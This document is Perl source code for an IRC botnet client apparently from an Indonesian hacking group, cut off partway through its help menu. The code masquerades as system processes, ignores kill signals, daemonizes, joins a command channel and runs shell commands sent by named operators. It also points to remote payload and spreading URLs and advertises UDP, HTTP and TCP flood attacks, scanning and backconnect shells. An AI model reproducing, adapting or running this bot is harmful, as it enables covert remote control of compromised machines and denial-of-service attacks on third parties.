# ######################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata # Anak # _____ # ( ___ ) _____ __ ___ ____ _ _ # | | \ \( _ )( \/ )( _ )( ) ( ) # _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu # ////| | | ) | | || |\/ | || ___)| | | | / crew # | |__/ /| (_) || | | || | | |_| | # (_____) (_____)(_) (_)(_) (_____) # # AnakDompu [on] Dalnet © 2008 # # ######################################################## use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By klepek_klepek # # #AnakDompu # # irc.dal.net # ################################################## my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); my $processo = $ps[rand scalar @ps]; my $linas_max='10'; my $sleep='3'; my $cmd="http://www.geocities.com/ghanjar.satriani/kontol.txt???"; my $id="http://www.hanbol.es.kr/id.txt"; my $spread="http://www.hanbol.es.kr/alls.txt???"; my $perawan="http://www.hanbol.es.kr/alls.txt???"; my $idku="http://www.hanbol.es.kr/pbots.txt???"; my @adms=("klepek_klepek","wisnoee"); my @canais=("#ponticity"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By klepek_klepek # # #AnakDompu # # irc.dal.net # ################################################## my @nickname = ("AkeZuKa", "AbankSayang", "Sampula", "FuRkaN", "AnakDompu", "SaMaDa", "SaMPeLa", "ShuZuKa", "TalamPa", "Tambora", "Henca", "Hencarasa", "HencaSpy", "SamPuLa"); my @rname = ("Ketika Rasa Tak Dapat Di UngkaP", "PowereD By AnakDompu", "SeRinG PuTus Cinta", "Aku Mudah Jatuh Cinta", "ModeL Bug1L AnakDompu", "Jpop And JrocK Lyric", "Ketika Rasa Tak Dapat Diungkap Bro", "Percuma Kita Bersama DinDa", "klepek_klepek Memang cakep", "Suka Nonton Movie hentai la", "Lihat Cewek2 Pake tanktop", "Owned By AnakDompu"); my $nick = $nickname[rand scalar @nickname]; my $ircname = $nickname[rand scalar @nickname]; my $realname = $rname[rand scalar @rname]; $servidor='irc.ardantus.org' unless $servidor; my $porta='6667'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By klepek_klepek # # #AnakDompu # # irc.dal.net # ################################################## #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By klepek_klepek # # #AnakDompu # # irc.dal.net # ################################################## # PREFIX # ###################### if ($args =~ /^(\Q$meunick\E|\!xan)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!xan" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ###################### # End of PREFIX # ###################### elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ###################### # Help # ###################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Select the function you want help for"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4ddos"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4scan"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4backconnect"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4shell"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4portscanner"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Or if you want too know all the commands type:"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4commands"); } if ($funcarg =~ /^ddos/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 There are 3 DDossers in this bot"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 UDPFlood, HTTPFlood and TCPFlood"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !xan 13@4udpflood